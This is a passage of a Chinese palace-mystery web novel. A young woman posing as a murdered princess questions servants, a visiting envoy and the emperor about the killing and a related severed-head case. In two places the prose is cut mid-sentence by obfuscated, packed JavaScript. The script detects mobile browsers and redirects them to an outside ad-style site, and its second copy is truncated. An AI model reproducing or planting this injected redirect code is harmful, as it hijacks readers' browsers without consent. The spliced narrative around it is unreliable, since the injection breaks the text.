原来是敖云弯腰时,腰带上的铜搭扣反射的阳光晃了眼。 她向后挪了挪换了个角度,定睛一看却发现那搭扣上的纹样和公主手中紧攥着的那枚玉佩的纹样相同,都是一只衔尾龙。 可尤微兰望着腰带并没有喊住对方,仔细端详起对方的背影来。 永禧宫。 与庆福宫的花团锦簇,移步换景不同,永禧宫更显沉稳大气。 飞檐斗拱,庄重又不失灵动,朱红的宫墙高大巍峨,阳光普照下的琉璃瓦在宫墙上投出轻盈的阴影。庭院中央有棵矮小但繁茂的四季桂,微风拂过枝叶摇摆,恬淡的香气弥漫在鼻尖。 永禧宫比别的宫地势低些,冬暖夏凉,是皇宫内最舒适的地方。 尤微兰第一次这么规矩地进了永禧宫,等通传的宫婢领她进去,往日都是顺禾公主拉着她,招呼也不打一个就往进跑的。 “顺……顺禾公主?”尤微兰身后突然传来一道男音。 正垂眸望着门槛的尤微兰听到声音转头,对上了来人的视线——是宋砚修! 宋砚修身着一袭白色金云纹袍,秀气的脸上是不敢置信,一双桃花眼微微红着,伸手抓住了尤微兰的手腕。 糟糕,他怎么来了? 尤微兰举着团扇半掩住自己的脸,想躲开来人探究的眼神,这时前去通传的嬷嬷回来了,恭敬地对两人道:“德妃娘娘请两位进去。” 不等身旁的宋砚修有所反应,尤微兰立刻抬步迈向正厅。 她很不擅长和这个格外诗情画意的礼部员外郎打交道。 原本她与顺禾公主还有宋砚修都是从小一起长大的,说起来两人还算是远亲。 现在的宋国公是老国公的上门女婿,正是尤微兰的表舅,也算是德妃的表弟。 不过以前每每与宋砚修遇到,尤微兰也都是悄悄绕着走开。 只因为宋砚修总是主动走过来与她打招呼,然后就开始长篇大论地拉着她大谈诗词歌赋和抱负情怀,见面多久就能说多久,喋喋不休地直让她头疼。 加上此人甚是了解顺禾公主,只怕她一开口就暴露出自己是个冒牌货。 尤微兰三步并作两步走进来,便瞧见病恹恹倚靠在胡床上裹着件锦缎棉衣的德妃。 德妃仿佛一夜间苍老了十几岁,原本乌黑亮泽的长发竟白了大半,往昔保养得姣好面容此刻仿佛失去生机般暗淡,眼神空洞地望着地面。 “顺禾给母妃请安。”尤微兰举着团扇规矩地行礼。 德妃听到她的声音,泪水立刻涌上双眼,缓缓转头看向尤微兰。 “礼部员外郎宋砚修参见德妃娘娘,娘娘万福金安。”宋砚修跟在尤微兰身后,深深一拜。 “不必多礼,都起来吧!”德妃别过脸拿帕子拭了拭眼角,用风一吹就散也似的声音对两人说道。 尤微兰小心翼翼地起身坐在嬷嬷搬来的绣墩上,观察着德妃的神情:“听闻母后昨夜染了风寒,不知太医可过来瞧过没?” 德妃长叹一口气道:“瞧过了,太医说吃两副药便可大好,顺禾不必担心。” 宋砚修见德妃的样子大变,目光中带着些许担忧和惊讶:“娘娘玉体违和,如今虽受病魔侵扰,然娘娘蕙质兰心,陛下也心系娘娘,定能早日康复。” 德妃将身上的棉衣裹得紧了些,轻声说:“宋员外郎有心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113833|164127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,今日叫你们二人前来,是为了送亲人选一事。陛下今早下旨三日后送公主前往回绥,路上少位执掌文书的人,本宫便想到了宋员外郎。” 她瞥了眼正襟危坐的宋砚修,继续说道:“故特此提拔宋员外郎为礼部郎中,护送公主前去和亲。” 真是瞌睡来枕头,尤微兰正犹豫要怎么和德妃说送亲人选的事,想不到德妃直接挑明了。 宋砚修凳子还没坐热便又再次起身行礼道:“多谢陛下与娘娘厚爱,臣感激不尽,定不辱使命。” 德妃有气无力地点点头:“行了,你先退下吧!” 宋砚修没有说话,余光小心地瞥了眼尤微兰,恭敬地摆着礼出了门。 此刻的她只能装聋作哑地用团扇半遮着脸,低头装作若无其事地看着身上的衣服。 突然间再一次闻到了紫阳花的香气。 尤微兰眉头微蹙,这件马甲上虽然有紫阳花的花瓣,却没什么紫阳花的气味,那现在闻到的这阵香气是从何而来? 她四下打量一番,瞧见了对面屏风后的一个盆栽。 德妃顺着尤微兰的目光看过去,开口道:“那是上月顺禾拿来的紫阳花,放在外面怕冻坏,便叫人搬进来了。” 尤微兰忙从绣墩上起来行礼:“德妃娘娘万福金安。” 德妃摆摆手说:“起来吧静姿,这里没别人,你我也不讲这虚礼。” 静姿是尤微兰的字,只有母亲、姨母和表姐这样唤她。 尤微兰紧绷的情绪终于放松下来,眼眶微湿,声音也哽咽起来:“表姐她……” 德妃的泪水不自觉地滑落,转移了话题:“此次前去和亲,路途艰辛,只怕是还会有人图谋不轨,姨母没什么能帮你的,只能提醒你万事小心。” 尤微兰揣着的那条手帕已不见踪影,她只好举起袖子擦了擦眼角的泪。 说话声音闷闷的:“姨母放心,我定找到真凶!和亲之事我会多加注意,只是恐怕日后再难见到家人,还望姨母能替静姿转告母亲叫她莫要担心。” 德妃颤抖着走下胡床,轻轻揽住尤微兰的肩,带她来到屏风后花盆前。 那是一盆娇艳欲滴的紫阳花,粉红的花瓣好似拂晓时天边的云彩,格外动人。 德妃的眼眶中噙满了泪,声音颤抖:“这是顺禾留给我最后的念想了。” 尤微兰只觉得此刻千言万语都变得苍白无力,想起与表姐童年嬉笑的时光和互诉少女心事的夜晚,只有无声的流泪。 两人正眼泪婆娑时,尤微兰却秀眉微蹙,带着些鼻音问道:“姨母,静姿有一事不解。昨夜姨母为何会夜半突然前往庆福宫?” 德妃拿着帕子的手一顿,随即回答道:“昨夜庆福宫里来人说公主突然身体不适,腹痛难耐。我便急忙赶了过去,怎料……” 德妃言罢,用帕子捂着双眼,痛哭流涕。 尤微兰长叹一口气,俯身轻声安慰着。 从永禧宫出来已是未时四刻。 陪着伤心欲绝的德妃用完午膳,尤微兰便直奔万芳阁。 周公公早已拿着箱东西候在万芳阁门口,见她来了,立刻走上前去小声说道:“尤姑娘,东西和人我都已找齐了。” 尤微兰偏头看向周公公身后的花匠和手中的箱子,点点头道:“好,那事不宜迟,还请公公与我一同上楼。” 几人再次上楼来到二楼的居室门前,安吉和安昌正站在金吾卫身旁等着,这次是尤微兰小心翼翼地开了门。 身后的花匠见屋内还躺着个顺禾公主,吓得直接瘫坐在了地上。 尤微兰淡定地转过头看着他道:“这位师傅不必害怕,屋子里躺着那个,是本宫易容后的替身。昨夜有刺客来袭,这替身不幸殒命,实属可怜。” 花匠这才颤颤巍巍地从地上爬起来,对尤微兰道:“是……是,不知公主有何吩咐。” 尤微兰用扇子指了指扣在地上的花土:“本宫爱好花草,可地上这石灰水将这好好一盆花土给毁了,你来验验这盆花土,保不齐刺客在花土里留下什么破绽。” 花匠忙作揖应下,尤微兰从周公公带来的箱子里拿出一个绸布袋递给对方道:“取一部分花土放到这袋子里不要动,其余的你想怎么验就怎么验。” 然后拉着周公公走到一旁问:“公公可知这石灰水是怎么一回事?” 周公公看了眼玉蝉,轻声道:“最近公主总是面色苍白,食欲不振。不知从何处寻了个偏方,说是用极稀的石灰水配上玫瑰花瓣等物便能肌肤娇嫩提升气色,便命人每五日准备一次。” 尤微兰点了点头,站在原地思考了一会,对周公公道:“我有个猜测,只是需要周公公将石灰水和花土,连带着公主和玉梓一起请出去,其余物件都保持原样。” 4. 第4章 敖云出了宫城大门便直奔皇城里的鸿胪客馆。 晌午的日头正烈,敖云长长的睫毛在脸颊上投射出一小片阴影,他半眯着眼睛走到富丽堂皇的城楼前。 不远处站着个牵着马的回绥小侍从,见敖云走过来,立刻毕恭毕敬地右手抚上胸口单膝跪地道:“敖云叶护。” 敖云抬抬下巴,眼睛盯着手中的卷轴:“走吧!” 小侍从立刻起身,牵起马跟在敖云身后。 鸿胪客馆在皇城的南面,离西边的街市不远,平日里有不少往来贸易的外邦人,热闹非凡。 客馆门口站着个秀丽可人的小姑娘,身姿宛若风中摇曳的胡杨,一身靓丽的湖水绿猎裙衬得她更具风韵。年纪不过十三四岁,乌黑的长发好似瀑布般,被几条五彩斑斓的丝线和小铃铛辫起来。似雪的肌肤透着些许蜜色,玲珑可人的琥珀色双眸清澈的仿佛是一汪春水,正向门口张望着。 看到远远走过来的敖云,少女挥臂喊道:“阿卡!” 敖云听到声音抬起头,皱眉问道:“伊茹?你怎么在这?” 伊茹等不及敖云慢悠悠走过来,干脆自己跳出门槛走过去:“原本是要去东市逛的,可我发现了个奇怪的东西。” 她说着便从腰间的牛皮小包里拿出一个用手帕包着的小包裹来。 敖云小心接过,掀开一角发现是只梅花箭,又问道:“你在哪发现的?” 不等伊茹回答,客馆里的宾仆过来热情招呼道:“迎亲使,里面有位宋大人请您进去坐坐。” 敖云侧了侧身子,抬眼瞥向屋内。 原来是他,敖云挑眉,冲着屋内的人点头示意。 刚才从宫里出来的路上刚好碰到此人正急匆匆往永禧宫的方向赶,两人在夹道上撞了个满怀。 伊茹顺着敖云的眼神好奇地望过去,看到个正一脸和煦,笑着饮茶的小公子。 敖云转头对宾仆说:“好,我这就过去。” 然后伸手拉住探出半个身子的伊茹道:“你先把东西收着上楼等着,我叫人将吃食给你送上去。” 伊茹闻言露出不情愿的神色来:“啊?为什么啊?” 敖云瞥了她一眼,表情冷下来朝楼梯的方向示意道:“没有为什么,上去。” 伊茹撇撇嘴,不情不愿地走向楼梯。 看着妹妹磨磨蹭蹭一步三回头地上了楼,敖云才迈过门槛走了进来。 传话的宾仆殷勤地给他引座,又熟稔地给两人倒了茶,才弓着身子退下了。 宋砚修站起来作揖道:“刚才冲撞了迎亲使,实在是罪过。在下宋砚修,是礼部郎中,日后将负责公主和亲途中的文书。” 敖云抬手示意:“宋大人不必多礼,我们也算是同僚。” 宋砚修闻言抬起头,说:“多谢迎亲使大人。” 敖云的食指一下下轻点在茶盏口,面上是淡然的笑,眼神却带着一丝戒备和探究打量着对面的宋砚修。 这个人的名字,在刚才顺禾公主手中的名册上见过,而顺禾公主也是在看到此人的名字后才说要去请示她的母亲德妃。 敖云端起茶杯到唇边:“宋大人刚才,是去永禧宫?” 宋砚修点点头:“德妃娘娘是在下的姨母,此次公主前去和亲少了个指掌文书的人,陛下便派我一同前往了。” 敖云品着茶盏内的清香,慢条斯理道:“原来如此。宋大人真是年少有为啊!” 宋砚修露出一个羞涩的笑,摆摆手说:“迎亲使谬赞,我不过是沾了父亲的光。公主才是真的年少有为,庆福宫的万芳阁就是公主亲自设计安排的,陛下说公主是造园建舍的奇才。” 敖云闻言挑眉道:“万芳阁?” 宋砚修眼睛亮亮的,仿佛是在夸他自己:“没错,万芳阁的设计格外精妙,一层足有四五米高,中间却宽大明亮没有一根柱子。” 敖云偏着头似是在回想,眼睛却瞥到楼梯转角处的一抹湖水绿裙角。 伊茹天真烂漫,不谙世事。此次前来虞国迎亲原本只派了敖云这个回绥的将军,可特勒担心山高路远无人照顾,故而让敖云医术精湛的妹妹伊茹跟随一同前去。 年纪尚小的伊茹第一次离开家乡,自是新鲜的很,可敖云知道迎亲路上多有艰难险阻,所以格外小心。 好在伊茹还算听话,来大虞的京城这么久也只出过一两次门,对这里的人事物好奇也是自然。 他收回目光,面上带着浅笑说:“的确是美轮美奂,宋大人也去过万芳阁?” 宋砚修愣了一瞬,随即点点头:“万芳阁刚建成时,公主命在下收集文书典籍用以收藏。于是在下便也顺势负责了这些典籍的整理和保存,每七日去万芳阁一次。” 敖云放下茶盏,看着宋砚修的双眼:“那宋大人可知,昨夜公主似乎是丢了一件东西?” 宋砚修略一思索,猜测道:“难道是公主近日新培育的紫阳花?” 宋砚修见敖云的茶盏空着,提起茶壶又续上:“原本紫阳花的花期已过,可公主的母妃——德妃娘娘的寝宫比别处都暖,公主便将新培育的紫阳花养到永禧宫了,听说那紫阳花能变颜色,可将蓝白色的花朵变成粉红色。只是公主宫里的花多养在室外,总是有放错了或是找不到的花。” 敖云端起茶杯,有些讶异:“竟如此神奇?” 宋砚修端起茶盏一饮而尽,然后说道:“这花刚培育出来时,陛下还特地办了赏花宴,公主送了各宫娘娘每人一盆,还赏赐给了几位大人。对了,南边的锦花园今日也有赏花宴,不过是给夫人小姐们办的,未及笄的小姐们可每人领一支绒花。” 两人就这样你来我往地聊着,多数是宋砚修在喋喋不休,从东边最物美价廉的布匹店到西市哪家的糕点好吃,说得茶壶里的茶水都少了大半。 敖云倒是对宋砚修这个人有些兴趣,此人看似天南海北地在闲扯,实则颇有些渊博。 他尤其感兴趣的是宋砚修口中那个破了案却被人诟病的小表妹,原以为中原女子皆是菟丝花,想不到还有如此有胆识的角色。 正当敖云准备喊宾仆来续一壶茶,却瞧见门口站着个满面踌躇的小吏。 宋砚修见敖云盯着门口,便也瞧了过去,意外道:“子茗?你怎么在这?” 门口的小吏慌乱地小跑到两人面前,作了个揖,不知是害怕还是冷,哆嗦着说道:“宋…宋大人,您快去文衿书院看看吧!我家公子,我,我家公子…” “快说啊,你家公子怎么了?”宋砚修站起身着急地催促道。 “我家公子找到了。”子茗终于说完了这句话。 宋砚修长出一口气,有些责怪道:“大惊小怪的,这不是好事嘛,杨兄失踪已有半月,这下便能放心了。” 子茗的表情却是快要哭出来一般,颤抖着说:“不…不是,是找到了我家公子的…头!” 万芳阁。 尤微兰盯着金吾卫将二楼的居室清理出来,走到露台上看着已经被抬到楼下的顺禾公主和玉梓,秀眉微蹙。 自己和顺禾公主同为镇威将军的弟子,身上还是有些功夫在的。 如果凶手是翻进来杀的人,那顺禾公主的死状着实是令人生疑,既没有挣扎过的痕迹也没有打斗过的动静。 可若是迷晕后再杀,怎么玉梓一脸惊恐地倒在地上? 周公公走上前轻声说道:“尤姑娘,屋子里都按照您吩咐的收拾好了,您瞧瞧。” 尤微兰转过身,仔细打量一番后小心地走进了居室。 房间不大,却颇有几分精致。右边是一张黄花梨小案几,上面是几张被水晶镇纸压住的空白信笺和一个碰倒了的雕花烛台,前一晚滚烫的蜡泪已经变得坚硬冰冷,淌成一条断断续续的线。 地上躺着一个金丝楠木的笔架和几只横七竖八的笔豪。 案旁摆了一张小榻,上面有只丝绸小枕,旁边摆着玉梓的银簪子和藕粉色的被团。 紧邻小榻的是顺禾公主镶金嵌玉的七宝床,里面铺着米白色的毛毡和蜀锦被,南向的雕花窗棂刚好将庭院内的花香和阳光引入。 尤微兰折回到案几前,盯着那方水晶镇纸沉思着。 烛台碰倒了,木头案几却没被烧毁,看来凶手是在公主熄了灯后没多久便下了手。 她俯下身子,仔细地检查着,赫然发现案几的左上角有一个难以察觉的圆形痕迹,痕迹的边缘有一个凝固的蜡泪,包着一片红粉的花瓣。 尤微兰拿着小铲子小心翼翼地将包着花瓣的蜡泪轻轻铲起来放到小绸袋里。 她记得顺禾公主不久前刚培育出了一种紫阳花,花瓣的颜色可以变化,还开了一场赏花宴邀请众人前来观赏。 那时尤微兰的母亲秦月恰好病了,所以她也只是听闻,并没有亲眼见到这神奇的紫阳花。 “玉蝉。”尤微兰向门外探头唤道。 跟在周公公身后的瘦小人影一颤,走上前来小声道:“姑娘有何吩咐。” 尤微兰扶着她的肩柔声道:“自及笄以来,我与顺禾公主的来往便不似幼时那般频繁,我叫你来是想问问公主是否是在万芳阁培育了可变换颜色的紫阳花?” 玉蝉看了一眼屋内的案几,轻轻点了点头:“公主是偶然间在园中的盆栽中发现有一株紫阳花从蓝白色变成了粉红色,于是便将其单独养了起来。德妃娘娘见了便向公主要了一盆,公主这才想着培育一些,一开始是在万芳阁培育的紫阳花,不过只在一楼。 “每日入了夜便将花盆都搬至一楼的廊下,出了太阳再搬出去。二楼的案几上原是摆着一个没有花株只有花土的花盆,是公主说要拿来实验的花土,就是刚才花匠师傅检查的那盆。” 尤微兰双手环抱在胸前,继续问道:“那昨日都有谁来见过公主?你怎么没有跟在公主身边?是否有听到公主和德妃娘娘争吵?” 玉蝉表情认真地回答她:“昨日辰时五刻礼 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两人向前微微俯着身,空气中飘着丝丝缕缕的香气,引得尤微兰垂眸,状似不经意般地问道:“你们平日里也熏香吗?” 安吉低头轻嗅了嗅,然后略带腼腆地说:“回姑娘的话,平日里不怎么熏香,只是荷包里装着些花朵。” 尤微兰露出些好奇的神色:“原来如此,方才我还闻到些紫阳花的香气,可是你们荷包里的花朵?” 安吉将自己的荷包打开,里面赫然是些细碎的桂花,回答道:“姑娘请看,这些是公主给我们的桂花碎,小子闻着味道好便收在荷包里了。紫阳花的香气想必是小子们帮忙打理搬运,沾染上了。” 尤微兰点点头,然后正色问道:“那昨日下午是你们陪着公主去见陛下的?除了陛下还有谁在此期间见过公主吗?” 安昌先接了话:“回姑娘的话,昨天下午是我们两个侍奉的公主,只是到了甘露殿并没有见到陛下,那时陛下正和太子殿下说话,公主实在是等不及便先回了庆福宫。” 尤微兰有些意外,问:“太子殿下?” 安吉附和地点点头说:“的确如此,太子殿下身边的侍读大人半月前在城郊失踪了,陛下便命太子殿下调查此案。我们去时正听到太子殿下说侍读大人家中有一封奇怪的书信。” 安昌似是有些担忧地看了一眼站在金吾卫身旁说话的周公公,小声说:“姑娘可千万别说出去,偷听圣上谈话可是要挨板子的。我们听得也不真切,只知道那书信写了个地址和时间,其他的便什么都不知道了。” 尤微兰挑眉,问道:“你们回来后,可有听到公主与德妃娘娘争执?” 安吉与安昌对视一眼,安吉小声道:“有,不过平日侍从非召不得入公主寝宫,公主昨日特许宫婢侍从不必服侍,小子同安昌便去用膳了,等回来才知道公主与娘娘有争执。” 安昌点点头,道:“昨日小子与侍卫大哥在小厨房一起吃酒,只是小子当晚还要在公主身边服侍,便只吃了一盅。” 尤微兰继续问道:“那昨天晚上你们在干什么?没有听到异样的声音吗?” 安吉略一思索,回答她:“姑娘有所不知,公主近来身体不适,睡前总要点上一柱安神香。这香点上我们在门外也能闻到些,就睡的格外沉,并不知晓里面发生了什么。” 尤微兰点点头,歪着身子斜倚在门框上,完全忘记了自己在扮演她端庄的表姐长公主。 楼梯口的莲心身旁站着花匠和仵作,她见状轻咳一声以作提醒,可尤微兰已浸在自己的思绪中,早把扮演顺禾公主这事抛到了九霄云外。 面前的玉蝉和安吉、安昌从彼此的眼中都看到了无助和恐惧。他们虽然对尤微兰的事迹略有耳闻,可终归是个连面都没见过几次的人,现在公主被人谋害而亡,他们三人多少是要被怀疑的。 尤其是安吉与安昌,当夜他们两人当值,一开始还以为要因看护不力掉脑袋,多亏陛下和德妃娘娘仁慈,这才保住性命。 一想到自己的身家性命都将托付给眼前这个吊儿郎当靠在门上的小姑娘,三人心里没底的就像是看着屠刀架在脖子上的羔羊。 尤微兰完全没察觉到几人的心思,迈过门槛走到周公公身边道:“周公公,可还记得方才我说有个猜测?” 周公公点点头:“记得,咱家可等着姑娘呢!” 尤微兰转向站在莲心身侧的花匠说道:“那还请花匠师傅告诉我们那盆花土到底是怎么回事吧!” 被尤微兰点到的花匠立刻小跑着上前,将装着花土的两个绸布袋呈上:“回公主的话,原本的花土有部分粘在了花盆底部故而得以检验,花盆中的花土颜色偏黄、质地黏重,是酸腐花土。 “被石灰水浸没的花土中,有几片像蝉蜕一般的碎屑和一些玉沙,都带着点血腥味,把花土重新填回去还填不满半个花盆。” 话音刚落,便有一年轻的小侍从气喘吁吁地爬楼上来,对尤微兰道:“公…公主,陛下请公主到紫宸殿。” 5. 第5章 京城秋晚独具风韵,暮霞绚烂似锦。里坊街巷中正飘起袅袅炊烟,市井喧闹间正是人生百态。 文衿书院白墙黛瓦的院墙下围了不少前来看热闹的百姓,正探头探脑地朝里面张望着。 院子里站着几个学士装扮的年轻男子,围着一棵高大的银杏树小声交谈。 宋砚修和文衿书院的院长正站在长廊下,满脸的严肃与悲戚。 “杨兄正值锦瑟华年,才高八斗,意气风发。怎么会……唉!”宋砚修长叹一声。 院长脸上的皱纹仿佛更深了一些,眉毛撇成了一个“八”,也跟着叹气道:“是啊!年轻有为,却遭此横祸。” 门口一个小吏挤开拥围着的众人,冲宋砚修喊道:“宋大人!大理寺的尤大人来了!” 说话间,尤清正带着大理寺的人进了院子,一只手握着一方帕子擦额角小跑出来的汗,到两人面前后,向院长作揖道:“恩师安好,学生尤清正拜见恩师。” 院长轻轻抬手:“免礼,贤契还是先看看这棘手的案子吧!” 尤清正抬头,然后转向宋砚修:“是。我刚听说便赶来了,到底是怎么回事,找到的…东西呢?” 宋砚修伸手指向身后道:“在后院。方才我进宫见过德妃娘娘,出来后不小心冲撞了迎亲使,便到鸿胪客馆请罪。与迎亲使相谈正欢时子茗找了过来,告诉我找到了杨兄。” 尤清正示意宋砚修前面带路,几人穿过清雅秀丽的长廊,来到了后院。 文衿书院不算大,但造景十分考究别致,尤其是后院。苍松翠柏分立两旁,东侧是众学子读书的明亮轩室,飞檐斗拱,十分的古朴典雅。院内还有一处泮池,已是深秋,池塘中只留三两残荷。 这样风雅的后院,却弥漫着一阵与之格格不入的腐臭,引得几人频频皱眉掩着鼻子。 子茗站在池塘边等着,见几人走过来,忙作揖行礼。 尤清正一挥袖子,有些着急道:“免了免了,你是发现杨墨林的人吗?” 子茗半紧张半恐惧地回答说:“回尤大人的话,不是我发现的。半月前我家公子失踪后,我奉老爷的命到处寻找公子的踪迹,可都是一无所获。 “今日路过书院听见有人说在池塘边发现了我家公子的玉佩,便进来找了。正巧书院请人正在清理池塘,我……我就眼睁睁地看见……呕!” 他似回忆起了当时的情景,忍不住干呕了一声,随即“扑通”一声跪到地上:“小子不是有意的,还请各位大人恕罪。” 宋砚修铁青着脸冲他挥了挥手道:“行了行了,你下去吧!” 子茗连滚带爬地从地上起来,尤清正出声道:“等等,发现的人头在哪?” 宋砚修指了指池塘上的小竹筏说:“在那里。” 顺着他手指的方向,众人终于看清了这腐臭的源头。 那是一颗已经难辨样貌的头颅,沾满了池塘底的淤泥。唯一能勉强确定死者身份的,是系在头颅上的那根腐蚀得褪了色的发带,依稀能看出上面绣着的杨家族徽。 尤清正用手帕掩住口鼻,声音闷闷的:“可这何以见得就是杨公子?若是随便找来个无名氏绑上发带,也可视作杨公子。” 院长站在几人身后,回答道:“宫里任职需记名画人物小像,捞出来时已请了仵作对比画像确认头骨,的确是杨墨林。” 尤清正连忙走到院长身边,小心问道:“恩师,太子殿下是否已得知此事?” 院长摇摇头,给他使了个眼色让他别再问下去。 宋砚修则在一旁说道:“尤大人,这是在池塘边发现的玉佩。” 尤清正接过,那玉佩赫然雕着衔尾龙的模样,他疑惑道:“这是?玉龙会?” 还未等到回答,前院突然传来一阵甲叶相击的“铮铮”声。迈步进来的,赫然是一队金吾卫。 “大理寺卿尤清正听旨。”领头的金吾卫拿着金灿灿的圣旨,“唰”地一抖将其打开。 泮池边的几人连忙跪下接旨,金吾卫继续道:“此案以太子伴读杨墨林失足落水而亡结,大理寺无需插手。旨罢。” 紫宸殿。 尤微兰站在檐廊下,夕阳已经擦着地平线的边慢慢落下去,湿冷的风吹过她精致的裙摆,引得她打了个冷颤。 周公公身后跟着万芳阁的众人,低头候在不远处的台阶下。 尤微兰抱紧自己的双臂,一张俏丽的小脸因寒冷皱成一团。 现在正是用晚膳的时候,皇帝叫自己来难道是邀请一起用膳?可是她案子查到一半还没有什么眉目,或许是发现了宫中的卧底? 她微微缩起脖子来回踱步,方才花匠验出来的结果与她猜想的差不多,花盆里原先定有其他东西,而凶手就是因为那个东西才谋害公主的。 正当尤微兰盯着地面上的青砖陷入沉思时,右手边突然光线一暗,走上来一个人。 “顺禾公主万安。”敖云站在她身侧,规矩地行礼。 尤微兰愣了一瞬,习惯性地抬手想拿扇子掩住自己的下半张脸,却发现手里空空如也。 她只好挺直脊背,作出温和的表情笑道:“不必多礼。迎亲使也是被父皇召来的?” 敖云缓缓起身,第一次看清了尤微兰的长相:眉如远黛,眸似秋水。鼻梁上有一颗小痣,仿佛一粒晶莹的墨玉。清冷的气质属实惊艳。 他淡淡笑着:“回公主的话,正是陛下召在下前来商议和亲事宜。” 尤微兰忍不住看向他那个晃眼的腰带:“迎亲使的腰带真是别致啊!” 敖云的手指抚上腰带的花纹,回她道:“公主好眼力,此乃回绥独有的晶铜矿所制,百年不锈。” 尤微兰点点头,问道:“这腰带搭扣上的花纹,似乎是一只衔尾龙?” 敖云面上是恰到好处的讶然:“公主竟识得衔尾龙。” 衔尾龙是塞北江湖中武功高绝的代表,能拿到衔尾龙佩的人是塞北江湖中的前二十排名。 最初的二十人成立了玉龙会,此后每五年更新一次,选出最强的二十人来维护塞北的安定。 其中不乏有像敖云这样的将领,只是各国将领入会皆有一要求,那就是在会期间不得领兵攻打其他国家,如有违反则将举全会之力追杀。 而玉龙会十五年前逐渐隐藏起了锋芒,渐渐没了风声,知道塞北玉龙会和衔龙玉佩的人也越来越少。 巧合的是,尤微兰刚好在万芳阁一楼的书架上看了玉龙会的羊皮卷轴,上面详细写了每一任会主的信息,她也是在那个卷轴上才知道衔尾龙是玉龙会的标识。 她微微眯起双眼,案子到现在有很多疑点,可偏偏最有可能代表着凶手身份的玉佩给了一个清晰的暗示。 晚风拂过尤微兰的面颊,她微微偏了偏头,说道:“想不到迎亲使竟是武林翘楚,有失敬服。” 敖云谦逊道:“承蒙公主赏识,在下不过是玉龙会末流,不足挂齿。” 说话间,紧闭的殿门开了一条小缝,一个瘦小的小太监从门缝中手脚灵敏地钻了出来,迈着小碎步走到尤微兰面前:“公主,陛下请您进去。” 尤微兰闻言快步上前,跟着小太监进了紫宸殿。 跨过门槛向内走,目之所及皆是简单的陈设,桌椅台柜皆未加雕饰,洁白的墙壁更无奢华装帧。 她隐隐发觉紫宸殿似乎与以往来时的模样不同,可又说不上来是哪里不同。 穿过正厅来到后室,皇帝正坐在书案前,另一头的铁力木官帽椅上坐着的则是满目悲愤的太子。 太子气宇轩昂,剑眉星目,头戴一顶紫金冠,身着金边长袍,腰间束一条样子简单的玉带,颇有几分儒雅。 小太监将尤微兰领进来便低着头退了下去,屋子里只剩下他们三人。 “陛下万福金安。太子殿下万安。”尤微兰用不大不小的声音请安,她不清楚太子是否知道自己是假扮的顺禾公主,深深低着头。 皇帝抬手一挥,示意一旁早已搬来的绣墩,声音里满是疲惫:“不必多礼,坐吧!太子也是知情者。先说说你查到的东西。” 尤微兰这才抬起头,小心坐下后开口道:“回陛下,臣女询问了公主身边的宫婢与侍从,昨日与公主有过接触的是礼部的宋大人和德妃娘娘。宋大人送了公主一盒团花糕,而德妃娘娘与公主因送亲人选略有争执。 “昨晚守在公主房门外的两个小侍卫说,公主近日休息不好便点了安神香,他们在房门外能闻到些,便睡得比往日更沉。而公主房里的石灰水是用来配合玫瑰花瓣养颜的偏方,花匠在打翻的花土中发现了似是虫蜕的碎屑和玉沙。” 皇帝轻轻点了点头,问道:“周公公派人传话说,你在公主身上找到了枚玉佩?” 尤微兰顿了顿回答道:“回陛下,臣女确实找到了枚玉佩。那玉佩上的衔尾龙是塞北玉龙会的身份证明,迎亲使身上也有衔尾龙纹样的饰物。” 一旁的太子出声问:“玉龙会?” 尤微兰解释道:“回殿下,玉龙会是由塞北江湖中武功最高强的二十人组成的,惩恶扬善,维护各国安定。” 太子眉头紧锁,眼中的愤怒更甚,说道:“维护各国安定?哼,怕不是挑拨各国关系吧!杨墨林不就是他们杀的吗!” 皇帝斜睨了太子一眼,道:“乾元,谨言慎行。” 然后转过来对尤微兰说:“微兰,此案恐怕不止公主一个受害人,太子伴读杨墨林,今早被人发现头颅沉在了文衿书院的泮池底,旁边也有一枚衔尾龙佩。” 尤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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皇帝眉头紧锁,感叹道:“那孩子也是朕看着长大的,失踪前几日来请辞说要携妻儿回乡,照顾生病的老母,想不到竟惨遭毒手。” 事情好像逐渐开始水落石出了。 尤微兰的双眼闪烁着兴奋的光,转向皇帝:“多谢太子殿下告知。陛下,还请将为公主查验的仵作请进来,方才来的急,还不知查验的结果。” 皇帝点点头,提高音量:“祁坤。” 刚刚领尤微兰进来的那个小太监小跑进来,恭敬地弓着身子:“陛下。” “你去把门外的仵作请进来。”皇帝说道。 小太监行了礼,利索地下去请人了。 见人已离开,皇帝对尤微兰严肃道:“微兰,你今晚便启程前往迎亲国。” 尤微兰始料未及,眼中的兴奋还未褪去,呆呆愣在原地,说不出一句话。 她不知道自己现在是怎样的心情,震惊?难过?恼火?一颗和亲的棋子,应是无法拥有感情的木偶才对,进宫不能回府,余生也将要顶着别人的名字活着。 要她查案,还未得知仵作查验的结果,就急匆匆地要她前去和亲国,查案是个幌子,当替身去和亲来交换礼单上的奇珍异宝才是真的。 方才太子还在怀疑是玉龙会的人杀害了公主和自己的伴读,此刻却要将她推向貌似最有嫌疑的敖云。 尤微兰呆呆地问:“那案子……” 皇帝看到尤微兰的表情,长叹一口气:“案子还是要查下去的,朕会将最有嫌疑的几人派去随你一同和亲,若对方暴露可就地斩杀。之所以在廉政殿说三日后,是隔墙有耳不得不防啊!” 她明白了,从来没有人相信过自己有断案的能力,也没有人在意顺禾公主的亡因。所谓的让她在和亲路上找到凶手洗刷公主的冤屈,不过是想将所有可能的危险都推到皇宫外罢了。 太子看着皇帝愧疚的表情和冷漠的眼神,出声道:“和亲路途艰险,本宫有几个训练有素的暗卫,便派他们暗中保护你吧。” 尤微兰睫毛微颤,僵硬地挤出一抹笑,声音听不出什么情绪:“多谢太子殿□□恤,臣女谨遵圣旨。” 